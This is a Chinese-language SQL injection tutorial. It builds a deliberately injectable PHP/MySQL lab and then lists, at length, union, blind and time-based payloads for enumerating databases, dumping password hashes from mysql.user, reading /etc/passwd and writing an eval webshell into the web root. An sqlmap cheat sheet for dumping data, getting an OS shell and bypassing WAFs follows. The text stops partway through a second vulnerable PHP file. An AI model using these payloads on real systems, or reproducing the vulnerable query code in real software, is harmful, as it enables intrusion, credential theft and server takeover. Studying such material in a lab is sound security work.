SQL注入漏洞检测与利用

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.


数字型注入

数字型注入是最常规的一种注入方式,通常存在于网页的链接地址中,例如index.php?id=这样的类型,通常存在可利用的地方,这里通过一个例子来学习数字型注入的一些注入技巧.

◆搭建演练环境◆

1.首先我这里使用的是Centos7,在该系统上通过Yum搭建LAMP的环境.

[root@localhost ~]# yum install -y httpd httpd-devel \
mariadb mariadb-server mysql-devel \
php php-mysql php-common php-gd php-xml

[root@localhost ~]# systemctl restart httpd
[root@localhost ~]# systemctl restart mariadb
[root@localhost ~]# systemctl enable httpd
[root@localhost ~]# systemctl enable mariadb

2.进入MySQL并创建一个测试用的数据表,写入一些测试所使用的查询数据.

[root@localhost ~]# mysql -uroot -p1233

MariaDB [(none)]> create database lyshark;
Query OK, 1 row affected (0.01 sec)
MariaDB [(none)]> use lyshark;
Database changed

MariaDB [lyshark]> create table lyshark (
-> id int(10) not null,
-> title varchar(1000) not null,
-> text varchar(2000) not null
-> );
Query OK, 0 rows affected (0.02 sec)

MariaDB [lyshark]> create table user(id int ,name char(30),pass char(40));
MariaDB [lyshark]> create table pwd(id int ,name char(30),pass char(40));

insert into `lyshark` (`id`, `title`, `text`) values (1,'admin','hello admin');
insert into `lyshark` (`id`, `title`, `text`) values (2,'lyshark','hello lyshark');
insert into `lyshark` (`id`, `title`, `text`) values (3,'guest','hello guest');

3.在网站目录下新建一个index.php文件,并配置好权限,这里需要关闭SelinuxIptables防火墙.

[root@localhost ~]# setenforce 0
[root@localhost ~]# iptables -F
[root@localhost ~]#
[root@localhost ~]# vim /var/www/html/index.php

<?php
$id = $_GET['id'];
$connection = mysql_connect("127.0.0.1","root","1233");
mysql_select_db("lyshark",$connection);
$myquery = "select * from lyshark where id=$id";
$result = mysql_query($myquery);
while($row = mysql_fetch_array($result)){
echo "编号: ".$row['id']."<br >";
echo "标题: ".$row['title']."<br >";
echo "内容: ".$row['text']."<br >";
echo "<hr>";
}
mysql_close($connection);
echo "后台执行的SQL语句: ".$myquery."<hr>";
#mysql_free_result($result);
?>

[root@localhost ~]# chmod 755 -R /var/www/html/index.php
[root@localhost ~]# chown apache.apache /var/www/html/index.php
[root@localhost ~]# systemctl restart httpd

4.最后访问这个页面,并传入一个参数,即可查看返回结果.

[root@localhost ~]# curl http://127.0.0.1/index.php?id=1
[root@localhost ~]# curl http://127.0.0.1/index.php?id=2

◆判断注入点◆

提交单引号: 通过提交单引号并根据返回结果判断是否存在注入点,如果返回正常说明存在注入点.

[root@localhost ~]# curl http://127.0.0.1/index.php?id=1'

执行的SQL语句: select * from lyshark where id=1'

提交AND判断: 也可以使用and语句来判断是否存在注入.

[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=1
执行的SQL语句: select * from lyshark where id=1 and 1=1

--------------------------------------------------------------
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=0
执行的SQL语句: select * from lyshark where id=1 and 1=0

以上注入可发现and 1=1返回了数据,而and 1=0则没有返回,这是由于and 1=1是一个为真的条件,所以返回了而and 1=0结果为假也就没有结果,这里也能看出我们的注入语句被数据库执行了.

提交OR判断: 同样的使用OR语句也是可以判断数据库权限的.

[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=1
执行的SQL语句: select * from lyshark where id=1 and 1=1

--------------------------------------------------------------
[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=0
执行的SQL语句: select * from lyshark where id=1 and 1=0

提交加号: 我们在参数输入1+1,看返回的数据是不是id等于2的结果,这里注意一下+号在SQL语句是有特效含义的,所以我们要对其进行url编码,最后也就是%2b.

[root@localhost ~]# curl http://127.0.0.1/index.php?id=1%2b1

执行的SQL语句: select * from lyshark where id=1+1

提交减号: 同样的道理,提交减号也可以实现判断注入点,这里不需要进行编码转化.

[root@localhost ~]# curl http://127.0.0.1/index.php?id=2-1

执行的SQL语句: select * from lyshark where id=2-1

◆常用判断语句◆

判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.

index.php?id=1 and ord(mid(user(),1,1)) = 114

判断权限大小: 如果结果返回正常,说明具有读写权限,返回错误,应该是管理员给数据库帐户降权了.

index.php?id=1 and(select count(*) from mysql.user) > 0

查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.

index.php?id=1 union select host,user,password from mysql.user#                   // 5.6以前版本
index.php?id=1 union select host,user,authentication_string from mysql.user# // 5.7以后版本

向主站写入后门: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.

index.php?id=1 union select 1,1,load_file("/etc/passwd") into outfile '/var/www/html/a.txt'
index.php?id=1 union select null,null,"<?php phpinfo();?>" into outfile '/var/www/html/a.php'
index.php?id=1 union select 1,1,load_file(char(111,116,46,105,110,105))

常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.

index.php?id=1 union select 1,1,load_file("/etc/passwd")       // 加载指定文件
index.php?id=1 union select 1,1,@@datadir // 判断数据库目录
index.php?id=1 union select 1,1,@@basedir // 判断安装根路径
index.php?id=1 union select 1,1,@@hostname // 判断主机名
index.php?id=1 union select 1,1,@@version // 判断数据库版本

index.php?id=1 union select 1,1,@@version_compile_os // 判断系统类型(Linux)
index.php?id=1 union select 1,1,@@version_compile_machine // 判断系统体系(x86)

index.php?id=1 union select 1,1,user() // 曝出系统用户
index.php?id=1 union select 1,1,database() // 曝出当前数据库

◆判断表字段数◆

Union 查询字段: Union可以用于一个或多个SELECT的结果集,但是他有一个条件,就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,也就是说当我们union select的列与它查询的列相同时,页面返回正常,而在and后面加上1=1或1=2的作用后面会讲.

a.首先我们猜测,当前字段数为2的时候,页面会返回错误,也就说明表字段数必然是大于2的.

index.php?id=1 and 1=1 union select 1,2

执行的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2

b.在上面的基础上,我们增加一个字段,查询1,2,3时页面显示正常,说明表结构是3个字段的.

index.php?id=1 and 1=1 union select 1,2,3

执行的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2,3

c.为了验证数据库是否为3个字段,我们增加到4个字段,发现页面显示错误,则证明肯定是3个字段.

index.php?id=1 and 1=1 union select 1,2,3,4

执行的SQL语句: select * from lyshark where id=1 and 1=1 union select 1,2,3,4

上面的结果,说明字段数就是3,输入的数大于或小于字段数时都会报错,而使用union select null,null,null替换1,2,3是相同的效果用数字也可以.

index.php?id=1 and 1=1 union select null,null,null #

执行的SQL语句: select * from lyshark where id=1 and 1=1 union select null,null,null

Order By查询字段: 在SQL语句中是对结果集的指定列进行排序,比如我们想让结果集按照第一列排序就是order by 1按照第二列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进行排序数据库会返回正常,但是当我们按照第100列排序,但是数据库中并不存在第100列,从而报错.

a.首先我们猜测数据库有4个字段,尝试根据第四行进行排序发现数据无法显示,说明是小于4的.

index.php?id=1 order by 4 #

b.上面查询没有显示任何结果,我们查询4个字段无返回值,说面该表小于4个字段,我们继续使用3测试,此时返回了结果.

index.php?id=1 order by 3 #

大部分程序只会调用数据库查询的第一条语句进行查询然后返回,而通过联合查询出的数据中,我们想看到的数据是在第二条语句中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,第二种是通过sql语句直接返回我们想要的数据.

第一种:我们让第一个查询的结果始终为假,通过使用and 0来实现,下面的标号啥的就干净了.

index.php?id=1 and 0 union select null,null,null

执行的SQL语句: select * from lyshark where id=1 and 0 union select null,null,null

第二种:通过limit语句,limit在mysql中是用来分页的,通过他可以从查询出来的数据中获取我们想要的数据.

index.php?id=1 union select null,null,null limit 1,1

执行的SQL语句: select * from lyshark where id=1 union select null,null,null limit 1,1

上面结果返回也是空,因为这使用的null,所以返回的还是null

◆查库与表名称◆

查当前数据库名称: 可以直接使用MySQL自带函数database()来查询得到当前使用的数据库.

index.php?id=1 and 0 union select 1,1,database()

查全部数据库名称: 使用以下语句语句得到所有的数据库名,and 1=0功能是不显示第一行.

index.php?id=1 and 0 union select 1,1,schema_name from information_schema.schemata

查指定数据库名称: 用来查询第一个数据库的名称,但这个写法有个小问题,继续往下看.

index.php?id=1 union select null,null,schema_name from information_schema.schemata limit 0,1

以上查询结果,并没有显示数据库名而显示的是第一条语句查询出来的结果,在union前面加上and 0就能显示出来了.

index.php?id=1 and 0 union select null,null,schema_name from information_schema.schemata limit 0,1

以下查询方式,根据控制limit 0,1,2,3....,我们既可以获取到指定数量的数据库名称.

index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 1,1
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 2,1
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 3,1

查表名称(1): 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

index.php?id=1 and 0 union select 1,1,group_concat(table_name) 
> from information_schema.tables where table_schema='lyshark' #查lyshark库中表名称

查表名称(2): 同样,使用下面的语句也是可以查出数据库中的表,但该查询方式会分行显示查询的结果.

index.php?id=1 and 0 union select 1,1,table_name
> from information_schema.tables where table_schema='lyshark' #查lyshark库中表名称

◆查字段与数据◆

查表中字段(1):

index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)
> from information_schema.columns
> where table_schema='lyshark' and table_name='lyshark'

查表中字段(2): 也可以查看mysql库user表中的字段,进行一个查询.

index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)
> from information_schema.columns
> where table_schema='mysql' and table_name='user'

查表中字段(3):

index.php?id=2 union select null,null,column_name
> from information_schema.columns
> where table_schema='mysql' and table_name='user'

查表中数据: 查询表中数据,我们可以使用以下三种方式进行查询.

index.php?id=1 union select Host,User,Password from mysql.user

index.php?id=1 and 1=1 union select 1,1,group_concat(id,title,text) from lyshark

index.php?id=1 and 1=1 union select 1,1,group_concat(Host,User,Password) from mysql.user

字符型注入

字符串或串(String)是由数字、字母、下划线组成的一串字符,一般记为s="a1 a2···an "(n>=0),它是编程语言中表示文本的数据类型,字符型注入就是把输入的参数当做字符串来对数据库进行查询,字符型注入在sql语句中都采用单引号括起来,接下来看一段SQL语句.

$query="select first_name from users where id='$_GET['id']'";

上面的这句SQL语句就是基于用户输入的id在users表中找到相应的first_name,正常用户当然会输入例如1,2等,但是如果有人输入以下恶意语句则就会引发注入.

1' union select database() #;

这样的话这句SQL请求,在后台的执行结果就变成了以下的样子.

select first_name from users where id='1'union select database()#'

如上,我们不仅可以得到id=1的first_name,还可以得到当前数据库的相关信息,这是开发人员所没有想到的,以上只是一个简单的SQL注入的例子.从根本上讲,当开发人员对用户的输入过滤不严,造成了用户可以通过输入SQL语句控制数据库,就会产生SQL注入漏洞.

简而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL参数为字符串类型(需要使用单引号表示),字符型SQL注入的关键就是单引号的闭合,例如以下几个例子:

select * from tables where idproduct=13’;
select * from tables where name=’ fendo’;
select * from tables where data=01/01/2017’;

◆搭建演练环境◆

1.首先我们在原来的基础上,新建一个文件/var/www/html/index.php.

vim /var/www/html/index.php

<?php
$name=$_GET['username'];
$conn=mysql_connect("127.0.0.1","root","1233");

mysql_select_db('fendo',$conn);
$sql="select * from user where username = '$name'";
$result=mysql_query($sql);

while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
echo "<hr>";
}

mysql_close($conn);
echo "<hr>";
echo "后台执行的SQL语句: "."$sql <br >";
?>

2.进入数据库,创建几个表结构,并插入几条测试数据.

[root@localhost ~]# mysql -uroot -p

MariaDB [(none)]> create database fendo;
MariaDB [(none)]> use fendo;
MariaDB [fendo]> create table user(
-> id int not null,
-> username varchar(100) not null,
-> password varchar(100) not null,
-> email varchar(200) not null
-> );
Query OK, 0 rows affected (0.02 sec)

insert into user(id,username,password,email) values(1,'admin','fendo','10010@qq.com');
insert into user(id,username,password,email) values(2,'guest','goods','10020@qq.com');
insert into user(id,username,password,email) values(3,'lyshark','nice','10030@qq.com');

3.重启apache服务,并访问页面测试效果.

[root@localhost ~]# systemctl restart httpd
[root@localhost ~]# curl http://127.0.0.1/index1.php?username=lyshark

◆字符注入技巧◆

检测注入点: 字符型的检测方式与整数型差不多,但需要对数据进行SQL语句的手动闭合,如下所示.

index.php?username=admin' and '1'='1
index.php?username=admin' and '1'='0
index.php?username=admin' and '1'=1--'
index.php?username=admin' or '1'=1--'

猜字段长度: 接着我们通过使用union select语句,猜测数据库列的长度,字段长度.

index.php?username=admin ' union select 1,1,1 and '1'='1    // 显示错误,说明字段大于3
index.php?username=admin ' union select 1,1,1,1 and '1'='1 // 显示正确,该表存在4个字段
index.php?username=admin ' union select 1,1,1,1' // 这样也可以完成语句的闭合
index.php?username=admin ' union select null,null,null,null'

猜敏感信息: 接着替换上面语句中的1,1,1,1替换为MySQL执行函数,猜敏感信息.

index.php?username=admin' union select database(),1,@@version,@@datadir'
index.php?username=admin' union select database(),1,@@version,@@datadir and '1'='0

猜表是否存在: 猜指定表是否存在,语句执行结束并没报错,也就说明存在user这个表.

index.php?username=admin'+and+(select+count(*)+from+user)>0+and+''='      // 存在user这个表
index.php?username=admin'+and+(select+count(*)+from+lyshark)>0+and+''=' // 不存在lyshark这个表

查全部表名称: 通过以下语句,查询fendo数据库中存在的所有表名称.

index.php?username=admin' union select 1,1,1,group_concat(table_name)
> from information_schema.tables where table_schema="fendo"'

查表中字段: 查询fendo数据库中,user表中的字段,并显示出来.

index.php?username=admin' union select 1,1,1,group_concat(column_name)
> from information_schema.columns where
> table_schema="fendo" and table_name="user"'

查表中数据: 查询fendo数据库中,user表中指定字段的数据,并显示出来.

index.php?username='admin' union select 1,group_concat(password),1,1 from user'
index.php?username='admin' union select id,username,password,email from user'

上面的这些例子就是字符型注入的常用手法,其他的注入方式和整数型没有什么太大的区别,这里为了节约篇幅不在继续往下写了,你可以使用MySQL提供的基本函数自行测试.

基于报错的手工注入

猜版本: 返回正常,说明数据库版本是5,返回错误说明大于或小于5.

index.php?id=1 and left(version(),1)=5#        // 返回正常,说明数据库版本是5
index.php?id=1 and left(version(),1)=4# // 返回错误,说明数据库版本不是5

猜库名: 通过盲注的形式,逐级猜测每一个数据库的单元,最后将其组合在一起即可.

index.php?id=1 and (length(database())) >=4                    // 猜库名称有多少个字符串

index.php?id=1 and (left(database(),1)) >= 'd' # // 猜库名称最左边第1位为d
index.php?id=1 and (left(database(),2)) >= 'dv' # // 猜库名称左边前2位位为dv
index.php?id=1 and (left(database(),3)) >= 'dvw' # // 猜库名称左边前3位位为dvw
index.php?id=1 and (left(database(),4)) >= 'dvwa'# // 猜库名称左边前4位位为dvwa


index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),1,1))=100 # // 第1位是d
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),2,1))=118 # // 第2位是v
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),3,1))=119 # // 第3位是w
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),4,1))=97 # // 第4位是a


mid ((a,b,c) // 从字符串a中截取b到c位置
ord() // 将结果转化为ascii码与后面数值对比
CAST(DATABASE() AS CHAR) // 如果取到了数据则返回

猜表名: 如果网页返回正常,则说明存在这个表,返回不正常说明不存在.

公式: and (select count(*) from 表名) >=0

index.php?id=1 and (select count(*) from mysql.user) >=0 // 存在mysql.user表
index.php?id=1 and (select count(*) from lyshark) >=0 // 存在lyshark表

猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.

公式: and (select count(字段名) from 猜到的表名)>=0

index.php?id=1 and (select count(id) from users) >=0 // 返回正常说明存在id字段
index.php?id=1 and (select count(name) from users) >=0 // 返回不正常不存在name字段


index.php?id=1 and (select count(*) from lyshark) >=3 #-- // 返回表中记录数

用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.

index.php?id=1' and (length(user())) >=14 #                // 猜测数据库用户名称长度
index.php?id=1' and (select user() like 'root%') # // 猜测用户名
index.php?id=1' and (select user() regexp '^[a-z]') # // 猜测开头a-z
index.php?id=1' and (select user() regexp '^r') # // 第一位是r
index.php?id=1' and (select user() regexp '^ro') # // 第二位是o
index.php?id=1' and (select user() regexp '^root') # // 以此类推猜测前四位

延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.

index.php?id=1 and sleep(5) #
index.php?id=1 and sleep(5) order by 3 # // 如果是3个字段,则会延时5秒

index.php?id=1 and select if(length(user())=0,sleep(3),1) # //如果user=0则延时3秒
index.php?id=1 and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1个字符=d则延时3秒
index.php?id=1 and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2个字符=v则延时3秒

SQLMap基本命令(拓展)

检测命令:

sqlmap -u "./index.php?id=1" -v 3                   # 显示攻击载荷
sqlmap -u "./index.php?id=1" --level=3 # 指定探测级别
sqlmap -u "./index.php?id=1" --privileges # 测试所有用户权限
sqlmap -u "./index.php?id=1" --privileges root # 测试root用户权限
sqlmap -u "./index.php?id=1" --all # 查询所有数据库
sqlmap -u "./index.php?id=1" --hostname # 查询当前主机名
sqlmap -u "./index.php?id=1" --is-dba # 判断root权限
sqlmap -u "./index.php?id=1" --users # 枚举数据库用户
sqlmap -u "./index.php?id=1" --random-agent # 随机User-Agent
sqlmap -u "./index.php?id=1" --fingerprint # 执行DBMS版本指纹检查

sqlmap -u "./index.php?id=1" --output-dir="" # 自定义输出目录
sqlmap -u "./index.php?id=1" --file-read="" # 读取文件
sqlmap -u "./index.php?id=1" --file-write="" # 写入操作

sqlmap -u "./index.php?id=1" --os-cmd="net user" # 执行一条命令
sqlmap -u "./index.php?id=1" --os-shell # 交互执行命令
sqlmap -u "./index.php?id=1" --sql-query="" # 执行的SQL语句
sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie
sqlmap -u "./index.php?id=1" --temper="" # 指定过滤脚本

脱库命令:

sqlmap -u "./index.php?id=1" --identify-waf                  # 测试是否有WAF
sqlmap -u "./index.php?id=1" --current-db # 查询当前数据库
sqlmap -u "./index.php?id=1" --current-user # 查询当前主机名
sqlmap -u "./index.php?id=1" --users # 查询所有用户名
sqlmap -u "./index.php?id=1" --dbs # 列出所有数据库
sqlmap -u "./index.php?id=1" --tables # 列出所有的表

sqlmap -u "./index.php?id=1" -D "mysql" --tables # 获取mysql库中的表
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 获取mysql.host表列名称
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 将mysql.host保存到本地
sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脱裤子
sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump

Cookie注入: level >=2使用cookie注入,level >=3使用User-agent/Referer注入.

sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2                        #判断注入点
sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜数据库名
sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名称
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜内容

POST注入:

1.浏览器打开目标地址 http:// www.xxx.com /Login.asp
2.配置burp代理(127.0.0.1:8080)以拦截请求
3.点击login表单的submit按钮
4.这时候Burp会拦截到了我们的登录POST请求
5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submit

sqlmap -r post.txt -p id --dbs
Sqlmap -r post.txt -p id -D mysql --tables
Sqlmap -r post.txt -p id -D mysql -T user --columns
sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"

延时注入:

Sqlmap -u "http://127.0.0.1/index.php" --dbs --delay 1
sqlmap -u "http://127.0.0.1/index.php" --dbs --safe-freq 3

绕过WAF:

sqlmap -u "http://127.0.0.1/index.php" --thread 10 --identify-waf
sqlmap -u "http://127.0.0.1/index.php" --thread 10 --check-waf
sqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py"
sqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py,space2dash.py"

SQL 注入审计

搭建SQL注入演练环境,首先确保MySQL版本为MySQL 5.5以上,并导入下方的数据库脚本自动创建相应的数据库文件.

drop database if exists lyshark;
create database lyshark;
use lyshark;
drop table if exists users;
create table users(
id int(10) primary key not null,
username varchar(100) not null,
password varchar(100) not null,
usremail varchar(100) not null,
usertype int(1) default 0
);
insert into lyshark.users(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com");
insert into lyshark.users(id,username,password,usremail) VALUES(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com");
insert into lyshark.users(id,username,password,usremail) VALUES(3,"guest",md5("12345678"),"guest@126.com");
insert into lyshark.users(id,username,password,usremail) VALUES(4,"Dumb",md5("458322456"),"Dumb@blib.com");
insert into lyshark.users(id,username,password,usremail) VALUES(5,"Angelina",md5("GIs92834"),"angelina@mkic.com");
insert into lyshark.users(id,username,password,usremail) VALUES(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com");
insert into lyshark.users(id,username,password,usremail) VALUES(7,"batman",md5("suw&*("),"batmain@gmail.com");
insert into lyshark.users(id,username,password,usremail) VALUES(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com");
insert into lyshark.users(id,username,password,usremail) VALUES(9,"nacki",md5("fsie92*("),"cbooks@emial.com");
insert into lyshark.users(id,username,password,usremail) VALUES(10,"wuhaxp",md5("sadwq"),"cookiec@345.com");

接着安装好PHP7.0或以上版本的环境,并创建index.php文件,写入以下测试代码,数据库密码请自行修改.

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="gbk">
<title>SQL 注入测试代码</title>
</head>
<?php
$connect = mysqli_connect("localhost","root","123456","lyshark");
if($connect)
{
$id = $_GET['id'];
if(isset($id))
{
$sql = "select * from users where id='$id' limit 0,1";
$query = mysqli_query($connect,$sql);
$row = mysqli_fetch_array($query);
}
}
?>
<body>
<table border="1">
<tr>
<th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th>
</tr>
<tr>
<td><?php echo $row['id']; ?></td>
<td><?php echo $row['username']; ?></td>
<td><?php echo $row['password']; ?></td>
<td><?php echo $row['usremail']; ?></td>
<td><?php echo $row['usertype']; ?></td>
</tr>
</table>
<?php echo '<hr><b> 后端执行SQL语句: </b>' . $sql; ?>
</body>
</html>

判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.

index.php?id=1' and 1=1 --+    # 提交and判断注入
index.php?id=1' and 1=0 --+
index.php?id=1%2b1 # 提交加号判断注入
index.php?id=2-1 # 提交减号判断注入
index.php?id=1 and sleep(5) # 延时判断诸如点

常用判断语句:

# -----------------------------------------------------------------------------------
# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.
index.php?id=1' and ord(mid(user(),1,1)) = 114 --+

# -----------------------------------------------------------------------------------
# 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.
index.php?id=1' and(select count(*) from mysql.user) > 0

# -----------------------------------------------------------------------------------
# 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.
index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+ // 5.6以前版本
index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+ // 5.7以后版本

# -----------------------------------------------------------------------------------
# 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.
index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+
index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+
index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+

# -----------------------------------------------------------------------------------
# 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话
create table shell(cmd text);
insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');
select cmd from shell into outfile('/var/www/html/eval.php');

# -----------------------------------------------------------------------------------
# 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.
index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定文件
index.php?id=1' union select 1,1,@@datadir // 判断数据库目录
index.php?id=1' union select 1,1,@@basedir // 判断安装根路径
index.php?id=1' union select 1,1,@@hostname // 判断主机名
index.php?id=1' union select 1,1,@@version // 判断数据库版本
index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(Linux)
index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86)
index.php?id=1' union select 1,1,user() // 曝出系统用户
index.php?id=1' union select 1,1,database() // 曝出当前数据库

◆判断字段数◆

Union 查询字段: Union可以用于一个或多个SELECT的结果集,但是他有一个条件,就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,也就是说当我们union select的列与它查询的列相同时,页面返回正常,而在and后面加上1=1或1=2的作用后面会讲.

a.首先我们猜测,当前字段数为4的时候,页面会返回错误,也就说明表字段数必然是大于4的.

index.php?id=1' and 1=1 union select 1,2,3,4 --+

b.在上面的基础上,我们增加一个字段,查询1,2,3,4,5时页面显示正常,说明表结构是5个字段的.

index.php?id=1' and 1=1 union select 1,2,3,4,5 --+
index.php?id=1' and 1=1 union select null,null,null,null,null --+

Order By查询字段: 在SQL语句中是对结果集的指定列进行排序,比如我们想让结果集按照第一列排序就是order by 1按照第二列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进行排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从而报错或无法正常显示.

a.首先我们猜测数据库有6个字段,尝试根据第6行进行排序发现数据无法显示,说明是小于6的.

index.php?id=1' and 1=1 order by 6 --+

b.上面查询没有显示任何结果,我们查询6个字段无返回值,说面该表小于6个字段,我们继续使用5测试,此时返回了结果.

index.php?id=1' and 1=1 order by 5 --+

大部分程序只会调用数据库查询的第一条语句进行查询然后返回,而通过联合查询出的数据中,我们想看到的数据是在第二条语句中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,第二种是通过sql语句直接返回我们想要的数据.

第一种:我们让第一个查询的结果始终为假,通过使用and 0来实现,下面的标号啥的就干净了.

index.php?id=1' and 0 union select null,null,null,null,null --+

第二种:通过limit语句,limit在mysql中是用来分页的,通过他可以从查询出来的数据中获取我们想要的数据.

index.php?id=1' union select null,null,null,null,null limit 1,1 --+

◆查库与表字段◆

查全部数据库名称: MySQL默认将所有表数据放入information_schema.schemata这个表中进行存储,我们可以查询这个表中的数据从而找出当前系统中所有的数据库名称.

index.php?id=1' and 0 union select 1,1,database(),1,1 --+        // 找出当前所处库

# -----------------------------------------------------------------------------------
# 根据控制 limit 0,1,2,3....,可以获取到指定数量的数据库名称.

index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+

查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

index.php?id=1' and 0 union select 1,2,group_concat(table_name),4,5
> from information_schema.tables where table_schema='lyshark' --+ // 查lyshark库中表名称

index.php?id=1' and 0 union select 1,2,table_name,4,5
> from information_schema.tables where table_schema='lyshark' limit 0,1 --+ // 查lyshark库中表名称

index.php?id=1' and 0 union select 1,2,table_name,4,5
> from information_schema.tables where table_schema='lyshark' limit 1,1 --+ // 查lyshark库中表名称

查询表中字段: 通过使用table_schematable_name指定查询条件,即可查询到表中字段与数据.

# -----------------------------------------------------------------------------------
index.php?id=1' and 0 union select 1,1,group_concat(column_name),4,5
> from information_schema.columns
> where table_schema='lyshark' and table_name='lyshark' --+

# -----------------------------------------------------------------------------------
# 也可以查看mysql库user表中的字段,进行一个查询.
index.php?id=1' and 0 union select 1,1,group_concat(column_name),4,5
> from information_schema.columns
> where table_schema='mysql' and table_name='user' --+

index.php?id=1' and 0 union select 1,1,column_name,4,5
> from information_schema.columns
> where table_schema='mysql' and table_name='user' limit 0,1 --+

查询表中数据: 查询表中数据,我们可以使用以下三种方式进行查询.

index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+   // 查询第一个用户
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+ // 查询第二个用户
index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+

盲注的使用: 首先需要简单修改上方的源代码,去掉回显框,然后修改以下代码.

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="gbk">
<title>SQL 注入测试代码</title>
</head>
<?php
$connect = mysqli_connect("localhost","root","123","lyshark");
if($connect)
{
$id = $_GET['id'];
if(isset($id))
{
$sql = "select * from users where id='$id' limit 0,1";
$query = mysqli_query($connect,$sql);
$row = mysqli_fetch_array($query);
if(!empty($row))
{
print("查询完成了..");
}else
{
print("查询失败");
}
